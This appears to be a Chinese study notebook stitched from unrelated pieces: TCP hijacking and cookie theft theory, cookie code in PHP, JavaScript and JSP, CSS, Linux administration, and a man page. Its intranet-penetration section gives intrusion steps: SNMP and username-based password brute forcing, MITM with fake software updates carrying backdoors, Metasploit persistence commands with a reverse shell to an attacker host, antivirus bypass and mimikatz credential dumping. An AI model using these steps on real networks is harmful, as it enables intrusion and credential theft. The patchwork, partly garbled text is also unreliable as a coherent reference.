Tcp 会话劫持: 如果要劫持一些 不可靠的协议,那么将轻而易举.因为它们没有提供认证措施. 而 tcp 被誉为可靠协议. 这个是重点讨论的.

根据TCP/IP 的规定:使用tcp协议通讯 需要提供 两段序列号. 协议 使用者两段序列号 来保证 通信安全. TCP/IP 根据 时间或者线性的产生这些 序列号. 通讯过程中 双方的序列号是相互依赖的,这也是为什么 tcp协议是可靠的传输协议,
所以 劫持的关键是这些序列号, 攻击者可以采取 嗅探技术获得序列号.

tcp

每一个数据包中 都有两段序列号. 分别是 SEQ 当前数据包 第一个字节的序号. ACK 期望收到对方数据包中的第一个字节的序号.

假如 双方要进行一次连接.

服务器: server S_SEQ:将要发送的下一个字节的序号 S_ACK:将要接收的下一个字节的序号 S_WIND:接收窗口

客户端:client C_SEQ:将要发送的下一个字节的序号 C_ACK:将要接收的下一个字节的序号 C_WIND:接收窗口

它们之间的关系 必须符合 下面的逻辑关系,否则 数据包会被丢弃 并返回一个ack包(包含 期望的 序列号)

C_ACK <= C_SEQ <= C_ACK + C_WIND S_ACK <= S_SEQ <= S_ACK + S_WIND

很大的缺点就是: 当收到一个 不期望的数据包后, 返回一个想要的ack包 然而这个包也不是另一端需要的 就恶性循环 产生 ack 风暴 storm

Tcp 会话 劫持过程:

Http 会话劫持 web 应用程序 通过2种方式 来判断和跟踪不同的用户 :

cookie : 小甜饼. 当你浏览网站时候,cookie 会帮你把 你在网站上打的字,或者 一些选择(网页背景颜色? / 网页缩放?) .都记录下来. 下次访问该站,服务器会先看看cookie 里面的信息. 网站为了辨别用户身份,而储存在本地计算机上经过加密的数据,

由服务器生产,发送给User-Agent (一般是浏览器) 浏览器会将cookie的 key/value 保存到 某个文件内, 下次 请求 同一网站 就发送这个cookie 给服务器.服务器会读取cookie 里面的信息, 判断 用户是不是要重新登录等等.

过期时间很长. 针对cookie 的攻击 一般是 盗取用户cookie 然后伪造cookie 冒充该用户.

session(会话型cookie) 存在与服务器,随着 会话的注销 就失效 也就是很快过期, 所以很难利用, 相比cookie 认证安全点.

最典型功能:

判定注册用户是否以及登录网站,(下次免登录)

更重要的是,网站可以利用 cookies 跟踪用户访问网站的习惯. 什么时间访问 访问了哪些页面, 每个网页的停留时间, 一方面 可以提供 个性化服务,另一方面 可以作为了解用户行为的工具, 对网站经营有一定的参考价值. 把你感兴趣的东西 调到首页.

还要购物车,同一家网站 不同的页面,  这些选择的商品都会写入cookies . 付款时用到.

生存周期, cookie在生成时候 就被指定一个 expire 值 这个就是生存周期, 超出这个周期 cookie就会被清楚, 如果设置成0 那么 关闭浏览器就清除cookie

每个浏览器都有各自的独立空间 存放cookie 因为cookie 同样包含计算机和浏览器的信息.

其实cookie 很危及用户隐私. 用户访问网站, 这些网站包含 了一种叫做网页臭虫的图片,该图片透明,且只有一个像素大小(以便隐藏), 它们的作用是将所有访问过此页面的计算机写入cookie。而后,电子商务网站将读取这些cookie信息,并寻找写入这些cookie的网站, 随即发送包含了针对这个网站的相关产品广告的垃圾邮件给这些高级人员。

因为广告有针对性 ,一旦用户点击 有人就能从电商那得到报酬, 继续维系那些网站的生存.

脚本攻击: Cookie 没病毒那么危险,但也包含 敏感信息: 用户名 计算机名字 浏览器版本.

一般的脚本攻击 都素利用网站漏洞 在网站页面植入 脚本代码/或者 引用第三方脚本代码, 受到攻击时候 被植入的脚本会 读取当前站点的所有cookie内容,并上传给黑客.

防止办法: 设置cookie 不能被脚本读取. 对cookie 进行加密 ,在加密前加时间戳 保证每次加密后的密文都不一样 防止重放攻击.

Cookie 是小量信息,网络服务器产生 存储在网络浏览器上. 利用了网页代码中的 http 头信息传递的,每次网页请求 都可以伴随cookie

多数网页编程语言都支持cookie javascript vbscript delphi asp sql php c# 等等 大体上 先创建一个cookie对象 object 利用函数对cookie 赋值 读取 写入 等,

cookie欺骗, 通常cookie是加密的 被人窃取人家也看不懂,但是人家只要把cookie 提交给服务器 就能冒充你了.

要收集别人的cookie 很任意的,只要 编写一段代码 放你的网站里面,别人点你的网站 别人的cookie 就能被你收集了.

只能 尽量在论坛不用重要的密码, 不使用自动保存密码? 尽量不登录不了解底细的网站.

• Flash的代码隐患 Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。

此外,我们使用了Cookie的一些属性来限定该Cookie的使用。例如Domain属性能够在浏览器端对Cookie发送进行限定,具体到上面的例子,该Cookie只能传送到指定的服务器上,而决不会跑到其他的Web站点上去。Expires属性则指定了该Cookie保存的时间期限,例如上面的Cookie在浏览器上只保存到1999年3月1日1秒。当然,如果浏览器上Cookie 太多,超过了系统所允许的范围,浏览器将自动对它进行删除。至于属性Path,用来指定Cookie将被发送到服务器的哪一个目录路径下。 说明:浏览器创建了一个Cookie后,对于每一个针对该网站的请求,都会在Header中带着这个Cookie;不过,对于其他网站的请求Cookie是绝对不会跟着发送的。而且浏览器会这样一直发送,直到Cookie过期为止。

带失效时间的: SetCookie(“WithExpire”,”Expire in 1 hour”,time()+3600);//3600秒=1小时

创建 Cookie setcookie() 函数用于设置 cookie。9  注释:setcookie() 函数必须位于 <html> 标签之前。 语法: setcookie(name, value, expire, path, domain); 在下面的例子中,我们将创建名为 “user” 的 cookie,并为它赋值 “Alex Porter”。我们也规定了此 cookie 在一小时后过期: 1 <?php 2 setcookie(“user”,”AlexPorter”,time()+3600); 3 ?> 4   5 <html> 6 ….. 注释:在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码。(为防止 URL 编码,请使用 setrawcookie() 取而代之。) 取回 Cookie 值 PHP 的 $_COOKIE 变量用于取回 cookie 的值。9  在下面的实例中,我们取回了名为 “user” 的 cookie 的值,并把它显示在了页面上: 1 <?php 2 //Printacookie 3 echo$_COOKIE[“user”]; 4   5 //Awaytoviewallcookies 6 print_r($_COOKIE); 7 ?> 在下面的实例中,我们使用 isset() 函数来确认是否已设置了 cookie: 1 <html> 2 <body> 3   4 <?php 5 if(isset($_COOKIE[“user”])) 6 echo”Welcome”.$_COOKIE[“user”].”!
”; 7 else 8 echo”Welcomeguest!
”; 9 ?> 10   11 </body> 12 </html> 删除 Cookie 当删除 cookie 时,您应当使过期日期变更为过去的时间点。9  删除的实例: 1 <?php 2 //settheexpirationdatetoonehourago 3 setcookie(“user”,”“,time()-3600); 4 ?> 12JavaScript Cookies编辑 创建和存储 cookie10  在这个例子中我们要创建一个存储访问者名字的 cookie。当访问者首次访问网站时,他们会被要求填写姓名。名字会存储于 cookie 中。当访问者再次访问网站时,他们就会收到欢迎词。 首先,我们会创建一个可在 cookie 变量中存储访问者姓名的函数: 1 functionsetCookie(c_name,value,expiredays) 2   3 { 4   5 varexdate=newDate() 6   7 exdate.setDate(exdate.getDate()+expiredays) 8   9 document.cookie=c_name+”=”+escape(value)+ 10   11 ((expiredays==null)?””:”;expires=”+exdate.toGMTString()) 12   13 } 上面这个函数中的参数存有 cookie 的名称、值以及过期天数。 在上面的函数中,我们首先将天数转换为有效的日期,然后,我们将 cookie 名称、值及其过期日期存入 document.cookie 对象。 之后,我们要创建另一个函数来检查是否已设置 cookie: 1 functiongetCookie(c_name) 2   3 { 4   5 if(document.cookie.length>0) 6   7 { 8   9 c_start=document.cookie.indexOf(c_name+”=”) 10   11 if(c_start!=-1) 12   13 { 14   15   16 c_start=c_start+c_name.length+1 17   18 c_end=document.cookie.indexOf(“;”,c_start) 19   20 if(c_end==-1) 21 c_end=document.cookie.length 22   23   24 returnunescape(document.cookie.substring(c_start,c_end)) 25   26 } 27   28 } 29   30 return”” 31   32 } 上面的函数首先会检查 document.cookie 对象中是否存有 cookie。假如 document.cookie 对象存有某些 cookie,那么会继续检查我们指定的 cookie 是否已储存。如果找到了我们要的 cookie,就返回值,否则返回空字符串。 最后,我们要创建一个函数,这个函数的作用是:如果 cookie 已设置,则显示欢迎词,否则显示提示框来要求用户输入名字。 1 functioncheckCookie() 2   3 { 4   5 username=getCookie(‘username’) 6   7 if(username!=null&&username!=””) 8   9 {alert(‘Welcomeagain’+username+’!’)} 10   11 else 12   13 { 14   15 username=prompt(‘Pleaseenteryourname:’,””) 16   17 if(username!=null&&username!=””) 18   19 { 20   21 setCookie(‘username’,username,365) 22   23 } 24   25 } 26   27 } 这是所有的代码: 1 <html> 2   3 <head> 4   5 <scripttype=”text/javascript”>6  7 functiongetCookie(c_name)8  9 {10  11 if(document.cookie.length>0)12  13 {14  15 c_start=document.cookie.indexOf(c_name+”=”)16  17 if(c_start!=-1)18  19 {20  21  22 c_start=c_start+c_name.length+123  24 c_end=document.cookie.indexOf(“;”,c_start)25  26 if(c_end==-1)27 c_end=document.cookie.length28  29  30 returnunescape(document.cookie.substring(c_start,c_end))31  32 }33  34 }35  36 return”“37  38 }39  40  41 functionsetCookie(c_name,value,expiredays)42  43 {44  45 varexdate=newDate()46  47 exdate.setDate(exdate.getDate()+expiredays)48  49 document.cookie=c_name+”=”+escape(value)+50  51 ((expiredays==null)?””:”;expires=”+exdate.toGMTString())52  53 }54  55  56 functioncheckCookie()57  58 {59  60 username=getCookie(‘username’)61  62 if(username!=null&&username!=”“)63  64 {alert(‘Welcomeagain’+username+’!’)}65  66 else67  68 {69  70 username=prompt(‘Pleaseenteryourname:’,”“)71  72 if(username!=null&&username!=”“)73  74 {75  76 setCookie(‘username’,username,365)77  78 }79  80 }81  82 }83  84 </script> 85   86 </head> 87   88   89 <bodyonLoad=”checkCookie()”> 90   91 </body> 92   93 </html> 13在jsp中编辑 jsp中使用cookie完成状态管理: cookie也算http消息报头的一部分,它的作用有以下方面: 一 记录访客的某些信息。例如可以利用cookie记录用户光临的网页次数,或者访客曾经输入过的信息。某些网站可以自动记录用户上次登录的用户名,用的就是cookie。 二 页面之间传递变量。浏览器并不会保存当前页面上任何变量的信息,当页面被关闭时,页面上的所有变量信息将随之消失。 使用举例 在jsp中创建简单的cookie: String cookiename=”visitTimes”; Cookie cookie=new Cookie(cookiename,”1”);

  1. setMaxAge(10*60);//设置cookie存活期
  2. addCookie(cookie);//将cookie写入客户端 在jsp中处理cookie数据的常用方法: getDomain();返回cookie的域名. getMaxAge();返回cookie的存活时间 getName();返回cookie的名字 getPath();返回cookie适用的路径 getSecure();如果浏览器通过安全协议发送Cookie将返回true值,如果浏览器使用标准协议刚返回false值 getValue();返回cookie的值 getVersion();返回cookie所遵从的协议版本setComment(String purpose);设置cookie的注释 setPath(String url);设置Cookie的适用路径 setSecure(Boolean flag);设置浏览器是否仅仅使用安全协议来发送cookie,例如使用Https或ssl setValue(String newvalue);cookie创建后设置一个新的值 setVersion(int v);设置cookie所遵从的协议版本.

自1993年Cookie诞生以来,其就拥有专属性原则,即A网站存放在Cookie中的用户信息,B网站是没有权限直接获取的。但是,一些第三方广告联盟的代码使用范围很广。这就造成用户在A网站搜索了一个关键字,用户继续访问B网站,由于B网站也使用了同一家的第三方广告代码,这个代码可以从Cookie中获取用户在A网站的搜索行为,进而展示更精准的推广广告。比如搜索“糖尿病”等关键词,再访问其联盟网站,页面会立刻出现糖尿病治疗广告。如果并未事先告之,经用户同意,此做法有对隐私构成侵犯的嫌疑。这个还处在灰色地带。

有一定联系性规律性密码

例子:

有人曾破如此一个WPA-PSK 密码IX1V7051242. 如果你不了解这个密码的背景你肯能会觉得很神奇,这么强的密码也能破。 这样的密码是在西班牙的tele2 这样的AP 上有, 而且这样AP_ESSID 里都有tele2 字段。

这样的密码后面的8 位是相同的有真正的密码只有四位。四位密码其密码空间很小很容易被字典攻击出来。这个也是AP的默认密码。所以这个密码被破解是因为AP本身产生的随机密码就是个弱密码。是AP的厂家自己降低了安全性的做法。例如有一些餐厅.酒店.事业单位.等等.SSID总会改成名字的拼音.密码当然是跟ssid相关的.最常见的就是这个单位的电话号码!

密码分析 - 2

CSS 样式表 很多html标签能改变文本外观. 这些标签可以分为两类: 基于内容的样式 content-based style 物理样式 physical style CSS 级联样式表 网页上有三种 使用方法 1外部样式表: 里面添加 一个样式 被很多网页 使用,外部样式表是理想的选择. 这样可以通过更改一个css文件 来 改变整个网站的外观 2内部样式表: 里面添加 当 单个文件需要特别的样式时,可以用内部样式表. 可以在 head 里面 通过 3内联样式表: 里面 具体标签后面添加参数 个别元素需要用导特殊的样式时, 可以直接在html标签后面跟css参数来修改文本格式 This is a paragraph 怎么在文本里面应用样式呢 代码里面 输入 里面的内容都是p的css定义的格式 输入 里面的内容都是h2的css定义的格式 css 选择器 1 标记选择器 先定义样式标记 再段落前面加标记 2类别选择器 新建css的时候 .xujian.css 名称前面要有个.的 必须 再html → class 下面选择新建的类 3id 选择器 新建id.css #xujian.css html下面 选择id id只能用一次! css 美化: 所有边框的设置 最好用css 而不是一个个单独去修改 css以后修改很方便 不然的话很麻烦 登陆框 个性化 输入那里只留一条线 而不是一个框 也是css 里面 边框控制 实线 上下左右只留下的一根就好了 css 嵌套 一句话之内 如果有两个字特别的字体 1 可以代码里面直接加代码 比如 这里面的字就变斜体了 2 需要嵌套 嵌套id或者类都可以 head 下面 定义 #abc em 颜色红色 body下面 吾问无为谓哇哇哇哇哇哇哇哇 结果 上面的一行 哇变红色 下面的一行不变色 如果上面 head下面只定义 em 没有定义#abc em 那么 下面两行的哇 都会变红色. css 继承 两个层 大的和小的 大层的css属性会自动给小的. css 应用 内嵌式: head里面定义 推荐2 行内式: html 单行定义 推荐3 链接式: 链接定义(适应多个网站) 推荐1 单独保存.css 以后还能调用 优先级 行内>内嵌>链接 总体用链接布局 一般用内嵌 个别用行内 网页背景 推荐用css## PRI / NI (Nice)

调整优先值 Nice / NI nice 值有正负

pri(new) = pri(old) + nice pri 越小越快执行

  • Root 调整范围 (-20,19)
    • 一般用户 调整范围 ( 0,19)

      比如: nice =7 pri(old)=10 新的 pri 就是 17

pri 是 系统动态调整的. nice 虽然能影响 优先级 最后的优先级还是 系统决定的

内存使用情况 free free -b/k/m/g 内存显示单位 默认是 kb

linux 内存问题 不管不插多少内存 他都会把你用掉 尽可能利用才是高效的.不像 win 的垃圾 . 注意 swap 内存. 最好不要被使用. 最好不要超过20%以上 超了就加物理内存吧 swap 实在比内存速度差很多很多 系统是因为物理内存不足才用 swap 的.

uname 查看系统信息 uptime 系统启动时间 和工作负载.

netstat 追踪网络 网络监控. 输出分两部分 网络 与 系列. 选顷不参数: -a :将目前系统上所有的联机、监听、 Socket 数据都列出来 -t :列出 tcp 网绚封包的数据 -u :列出 udp 网绚封包的数据 -l :列出目前正在网络监听 (listen) 的服务; -p :列出该网绚服务的程序 PID

系统服务. service

daemon = service 电脑启动 自动启动很多服务 打印机服务 邮件服务等等

端口号 比喻房子的楼层
ip 门牌号

/etc/services 服务与端口号 绑定

/etc/init.d/* :服务脚本放置处 系统上几乎所有的服务脚本都放置在这里!事实上这是公认的目录, 我们的 CentOS 实际上放置在/etc/rc.d/init.d/ 啦!

x /etc/sysconfig/* :各服务的初始化环境配置文件 几乎所有的服务都会将初始化的一些选项讴定写入到这个目录下, 丼例来说, 登录档的 syslog 这支 daemon 的初始化讴定就写入在 /etc/sysconfig/syslog 这里呢! 网络的设定则写在 /etc/sysconfig/network 这个档案中。

x /etc/xinetd.conf, /etc/xinetd.d/* :super daemon 配置文件

x /etc/* :各服务各自的配置文件 第六章就讱过了,大家的配置文件都是放置在 /etc/ 底下的喔!

x /var/lib/* :各服务产生的数据库 一些会产生数据的服务都会将他的数据写入到 /var/lib/ 目录中。 丼例来说,数据库管理系统 MySQL 的数据库默就是写入 /var/lib/mysql/ 这个目录下啦!

设置开机启动服务:

电脑开机 读取 bios 通过 bios 获取第一个可启动的硬盘 读取 mbr 获取开机管理程序 加载核心 核心主动呼叫 init 程序. init 程序开始执行初始化 /etc/rc.d/rc.sysinit 根据 init 设定 进行服务启动 加载本机设定.

chkconfig 开机服务设定.

默认开机服务: acpid 电源管理模块 iptable 防火墙. 不能取消 只能设置. network 网络设定. httpd 让电脑变 www 服务器 ntp network time protocol 网络校时 smb 让 linux 变成 win 的晚上邻居.

登陆文件 就是记录系统信息的几个档案, 例如:何时、何地 (来源 IP)、何人 (什么服务器务名称)、做了什举劢作。 换句话说就是:记录系统在什举时候由哪个程序做了什举样的行为时,发生了何种的事件等等。

系统问题 可以通过分析这个文件 来找出问题.

如果你无法启动邮件服务 那么查询一下 /var/log/maillog 通常可以得到不错的解答!

/var/log/lastlog: 可以记录系统上面所有的账号最近一次登入系统时的相关信息。 第十四章讱到的 lastlog 挃令就是利用这个档 案的记录信息来显示的

/var/log/messages: 这个档案相当的重要,几乎系统发生的错诨讯息 (戒者是重要的信息) 都会记录在这个档案中; 如果系统发生 莫名的错诨时,这个档案是一定要查阅的登录档乀一。

/var/log/messages: 这个档案相当的重要,几乎系统发生的错诨讯息 (戒者是重要的信息) 都会记录在这个档案中; 如果系统发生 莫名的错诨时,这个档案是一定要查阅的登录档乀一。 /var/log/secure: 基本上,叧要牵涉到『需要输入账号密码』的软件,那举当登入时 (丌管登入正确戒错诨) 都会被记录在此档 案中。 包括系统的 login 程序、图形接口登入所使用的 gdm 程序、 su, sudo 等程序、还有网绚联机的 ssh, telnet 等程序, 登入信息都会被记载在这里;

电脑被黑 人家会删除你的 登陆文件里面的信息. 就查不到它额 可以 设置登陆文件权限 只能增加 不能删除.

分析登陆文件. 有分析软件 可以自己结果发送到你邮箱的.

ip 设置 子网掩码 netmask 网关 gateway

防火墙: /etc/sysconfig/iptables 文件不存在是因为 没有启动防火墙!!!

打印机: 有 linux 驱动 才能正常打印

软件安装

开源: 提供源代码 你可以自己修改代码. 来符合自己需求. 二进制文件 binary prigram 程序库 模块. 比如身份验证 pam 功能 只要加入代码 系统就会直接使用这个功能 .

make

configure

静态函数库 扩展名 .a 动态函数库 扩展名 .so

RPM RedHat Package Manager Red Hat 这家公司开发出来的 cenos Fedora, 为主 RPM 则依开发商的丌同,有 Red Hat 系统的 yum , SuSE 系统的 Yast Online Update (YOU), Mandriva 的 urpmi 软件 等。

dpkg 由 Debian Linux 社群所开发出来的, Ubuntu 等等。 在 dpkg 管理机制上就开发出 APT 的在线升级机 制,

RedHat Package Manager

平台 i386 i 是兼容 intel 的意思 386 是cpu 等级 x86_64_ 对64位cpu 进行特定的优化.

rpm -ivh 默认直接用这个就好了. -i:install -v: 安装信息 -h: 安装进度. +网址 直接安装.

用户密码

passwd -d xujian 删除 xujian 用户的密码

为root用户设置密码 打开终端输入:sudo passwd

Password: <— 输入你当前用户的密码

Enter new UNIX password: <— 新的Root用户密码

Retype new UNIX password: <— 重复新的Root用户密码

passwd:已成功更新密码

Mount

目录和 硬盘是分开的
对应目录和硬盘 这个操作就是所谓的 挂载了 .

根目录一定要有个挂载点的, 其他目录可以自行添加额外的挂载点
邮件服务器 商业机密或者隐私 需要自己架设邮件服务器.
proxy 代理服务器 和路由器不一样 路由器是ip层的
proxy 是应用层的 . 可以缓存浏览 加快网页读取速度等等 最主要的是 安全 可以掩盖你自己的ip不被人发现
ftp 本来是下载盗版用的 后来变高校分享资源用了.

root 用户 权限太大 强烈不建议平常用root账户.

 •

指令
$ command -options parameter1 parameter2 … 挃令 选项 参数(1) 参数(2)
说明:

  1. 一行挃令中第一个输入的部分绛对是『挃令(command)』戒『可执行文件 案』
  2. command 为挃令的名称,例如变换路徂的挃令为 cd 等等;
  3. 中刮号幵丌存在亍实际的挃令中,而加入选项讴定时,通常选项前会带 - 号,
    例如 -h;有时候会使用选项的完整全名,则选项前带有 – 符号,例如 – help;
  4. parameter1 parameter2.. 为依附在选项后面的参数,戒者是 command 的 参数;
  5. 挃令, 选项, 参数等这几个咚咚中间以空格来区分,丌讳空几格 shell 都规为一

 •

 • 格;

  1. 挄下Enter挄键后,该挃令就立卲执行。Enter挄键代表着一行挃令的开始启 劢。
  2. 挃令太长的时候,可以使用反斜杠 () 来跳脱Enter符号,使挃令连续到下一 行。
    注意!反斜杠后就立刻接特殊字符,才能跳脱! • 其他: •
    a. 在 Linux 系统中,英文大小写字母是不一样的。丼例来说, cd 不 CD 幵丌 同。

Mount

卸载 umount /dev/sda5 或者 umount /mnt/partition2

分区 硬件级概念 盘符 软件级概念 Windows 分配盘符的过程 就是 挂载过程 Win 认为 不管什么分区 都应该自动帮你挂载上.所以不用你手动操作. 比如某些小电影 在 windows 下 . 谁都可以看一眼. linux 下 就得挂载了才能看.

**文件是存在硬盘 某个分区里面的!!! 并不是 C 盘 / D 盘

不要被 win 系统思维 固化了.

文件系统: Linux 系统组织方式: 整个系统从 根开始. / 读作斜线 slash 第一个/ 表示根

根分区 作用:引导系统 系统启动: 首先有一个分区 被挂载到 /了. 这个分区 叫 根分区 整个系统 只有一个 Root 根分区. 任何一个分区 都可以挂载为 根分区 只是根分区下面没有 Linux 内核文件的话 将无法引导系统而已!!!

其他分区: 只能继续挂载到 / (根分区) 下的 某个目录里!!

比如: /mnt /media

挂载好之后 向这个目录下数据 就是向被挂载到这个目录的了一个分区(可能是另外一块硬盘)写数据

多个分区 只能被挂载到不同的目录

挂载好之后 硬盘里的数据 就可以用 路径找到了. 没挂载是 看不到硬盘数据的.

cd /mnt sudo mkdir partition2 新建个目录 名字随意 mount /dev/sda5 partitionpetition 挂载 sda5 分区到 partition2.

cd partation2 ls 就能看到文件了.

几十个文件 当然 全部放在一起就可以了.

系统有很多很多文件 新系统有 1W+ 文件. 怎么组织这些文件呢!!! → 分类

Windows 的 树形目录.

  • 系统文件: c:\windows
    • 程序文件: c:\program file
    • 个人文件: c:\Documents and settings

Misc-center

  1. nmap -sP 172.19.16.1/24 发现扫描主机.

  2. 查看 host 获取局域网信息.

  3. 直接攻击网段路由或交换机,简单绘制内网的结构 (我在从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备中就是获取了cisco路由的privilege15权限,得到了内网结构,进一步进行跨vlan攻击)

  4. 多尝试交换机snmp弱口令,一旦成功,内网结构清晰

    • 关于snmp渗透
    什么是snmp
    使用了snmp管理的设备,只需要community string即可,所以针对这个string爆破或者社工都是可行的,默认public/private
    首先进行161端口扫描,发现snmp开放情况,通过弱口令查看设备信息,在oid中读取设备密码
     •
    例子:中国移动集团华为三层交换SNMP漏洞,可获取管理帐号密码,已成功登录
    可以通过这个nmap和msf脚本进行自动攻击h3c-pt-tools • 尝试从主机的用户目录或者管理运维邮箱寻找敏感信息(某次渗透即是keylogger运维后在测试机桌面获取到拓扑和网段)
     • • 通过resolv.conf找到内网dns服务器,或者字典穷举dns • 注意分析用户的.bash_history,一般可以分析出用户的使用习惯,纪录等,获取/.shh/,尝试配合history的连接纪录直接通过密钥登陆其他机器 0x03 内网渗透的常见攻击技巧

• 通过之前的信息收集和探测,判断出主要的业务机器,如OA,dbserver,利用ssh信任,连入机器后导出员工的userlist,做成针对性的字典,大部分内网的安全性都是脆弱的,且最容易出问题的就是口令安全(大公司也不例外)
%username%1
%username%12
%username%123
%username%1234
%username%12345
%username%123456

主要对ssh,dbserver,vnc,ftp进行爆破  • 对开了web service的server进行常规渗透,有可以减少工作量的办法就是先对机器批量识别banner,通过banner判断出cms或中间件,直接利用exp • 中间人攻击 常用ettercap,不建议做arp的mitm,可以尝试dhcp mitm或者icmp mitm 也可以猥琐一点,劫持插件,攻击网关,或者利用evilgrade去伪造软件更新(如notepad++),然后捆绑上后门,直接打下工作机器,进入办公网   简单配置后用msf生成后门,start即可配合ettercap使用伪造软件更新了  • 常见服务漏洞攻击
smb/ms08067/ipc$/NetBIOS………… 但是在针对这些比较古老的漏洞攻击时,很可能有AV拦截,所以在不同场景遇到的坑都不一样 比如之前在西电DM牛告诉我,有AV,如果直接利用psexec返回会话,即会拦截,这时就可以利用powershell来bypass AVPowershell tricks::Bypass AV 0x04 后渗透准备和扩大战果

一次完美的内网渗透肯定不是能够一次性完成的,因为整个过程需要管理员的”配合”(口胡。。。)所以后渗透准备时很有必要的

  1. 后门准备

msf的后门已经不错,只需要稍加改造就能很好满足我们的需求 普通msfpayload生成的后门不是持续性的,不利于我们下次继续工作,所以需要一个持续性后门 msf的持续性后门有两种,通过服务启动(metsvc)和通过启动项启动(persistence) 通过服务的后门有个弊端,服务名称是meterpreter,利用方式是: 上传后门,通过metsvc安装服务 1 2 3 4 5 meterpreter > run metsvc …(设定端口,并且上传后门文件) use exploit/multi/handler set PAYLOAD windows/metsvc_bind_tcp exploit 通过启动项的利用方式: 1 2 3 4 5 meterpreter > run persistence -X -i 10 -p port -r hostip   use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp exploit 当然,直接生成的后门有可能会被杀,所以这里我推荐一个很不错的工具,veil,之前再一次小型apt中用这个生成了的后门直接bypass了360 linux下有两个常用的后门 mafix rookit和Cymothoa,后者听说可以克隆root用户,不过大部分的backdoor基本都相当于一个加密nc,会新开端口,所以如果webshell存活,可以直接考虑用webshell维持权限

  1. hash

mimikatz,不用多说,利用meterpreter可以直接load模块 Quarks PwDump wce 0x05 something else

内网渗透涉及的面很广,本文主要说到的是一些很简单的问题和常规的思路 尚未谈到的 域渗透 打印机 办公网嗅探 入侵日志清理等等 如果有机会,日后慢慢补全

Mapper

查看逻辑设备: lvdisplay 查看物理设备: fdisk -l

逻辑设备 不能用 fdisk -l 命令看 不然会报错….

逻辑设备 到物理设备的映射. 比较流行的 逻辑卷管理器 LVM2 

安装系统 首先建立个 swap 空间 然后剩余的 应该是分到 logical volumes

二、/dev/mapper目录的解释    为了方便叙述,假设一台服务器有三块硬盘分别为a,b,c,每块硬盘的容量为1T。在安装Linux的时候,先根据系统及自身的需要建立基本的分区,假设对硬盘a进行了分区,分出去了0.1T的空间挂载在/boot目录下,其他硬盘未进行分区。系统利用Device mapper机制建立了一个卷组(volume group,VG),你可以把VG当做一个资源池来看待,最后在VG上面再创建逻辑卷(logical volume,LV)。若要将硬盘a的剩余空间、硬盘b和硬盘c都加入到VG中,则硬盘a的剩余空间首先会被系统建立为一个物理卷(physical volume,PV),并且这个物理卷的大小就是0.9T,之后硬盘a的剩余的空间、硬盘b和硬盘c以PV的身份加入到VG这个资源池中,然后你需要多大的空间,就可以从VG中划出多大的空间(当然最大不能超过VG的容量)。比如此时池中的空间就是2.9T,此时你就可以建立一个1T以上的空间出来,而不像以前最大的容量空间只能为1T。    /dev/mapper/Volume-lv_root的意思是说你有一个VG (volume group卷组)叫作Volume, 这个Volume里面有一个LV叫作lv_root。其实这个/dev/mapper/Volume-lv_root文件是一个连接文件,是连接到/dev/dm-0的,你可以用命令ll /dev/mapper/Volume-lv_root进行查看。    其实在系统里/dev/Volume/lv_root 和 /dev/mapper/Volume-lv_root以及/dev/dm-0都是一个东西,都可当作一个分区来对待。    若要了解硬盘的具体情况,可通过fdisk或者pvdisplay命令进行查看。    若你想要重装系统到/dev/sda下,且安装时有些东西不想被格式化想转移到/dev/sdb下,但此时/dev/sda和/dev/sdb被放到VG中了,那该如何解决该问题呢?这种情况下,由于此时根本没办法确定数据在哪一个硬盘上,因为这两个硬盘就如同加到池里,被Device mapper管理,所以解决方案就是再建个逻辑卷出来,把数据移到新的卷里,这样你就可以重装系统时只删掉之前分区里的东西,而新的卷里的东西不动,就不会丢失了。

Man ls

LS(1) BSD General Commands Manual LS(1)

NAME ls – list directory contents

SYNOPSIS ls [-ABCFGHLOPRSTUW@abcdefghiklmnopqrstuwx1] [file …]

DESCRIPTION For each operand that names a file of a type other than directory, ls displays its name as well as any requested, associated information. For each operand that names a file of type directory, ls displays the names of files contained within that directory, as well as any requested, asso- ciated information.

 If no operands are given, the contents of the current directory are dis-
 played.  If more than one operand is given, non-directory operands are
 displayed first; directory and non-directory operands are sorted sepa-
 rately and in lexicographical order.

 The following options are available:

 -@      Display extended attribute keys and sizes in long (-l) output.

 -1      (The numeric digit ``one''.)  Force output to be one entry per
         line.  This is the default when output is not to a terminal.

 -A      List all entries except for . and ...  Always set for the super

*Synopsis 大概: ls [-ABCFGHLOPRSTUW@abcdefghiklmnopqrstuwx1] [file …]

ls -A 显示所有文件. 除了. .. 目录 ls -a 显示所有文件. ls -B ls -C 默认参数 多栏目输出.

多栏目输出???

Linux

Linux-Basic 简介

  • Linux: 由 unix 演变过来, Linux 的内核是免费的.
  • 发行版: Linux内核 + 应用软件 做一个打包. 有些收费,有些免费.
  • 知名发行版: Ubuntu、RedHat、CentOS、Debian、Fedora、SuSE…….
  • CentOS :ReaHat 企业版的克隆.相当稳定.

学习建议: 学命令窗口,不用图形界面.
init: 系统所有进程的起点(老祖宗)没有这个进程,任何进程都启动不了.

Hotkeys 简介
Tab 命令目录补全
Ctrl + C 终止当前命令.
Ctrl + D 退出当前终端 = exit
Ctrl + Z 暂停进程,fg 恢复
Ctrl + L 清屏.

Man 查看帮助文档.

系统根目录结构

bin   dev  home  lib64    media  opt   root sbin  sys  usr
boot  etc  lib   lost+found  mnt  proc  run srv   tmp  var
  • /bin Binary (二进制)的缩写。这个目录存放着最经常使用的命令。
  • /boot Linux 核心文件,包括一些连接文件以及镜像文件。
  • /dev Device(设备)的缩写。存放 Linux 的外部设备,

    在 Linux 中访问设备的方式和访问文件的方式是相同的。

  • /etc 所有的系统管理所需要的配置文件和子目录。
  • /home 用户的主目录,每个用户一个目录.
  • /lib 这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。
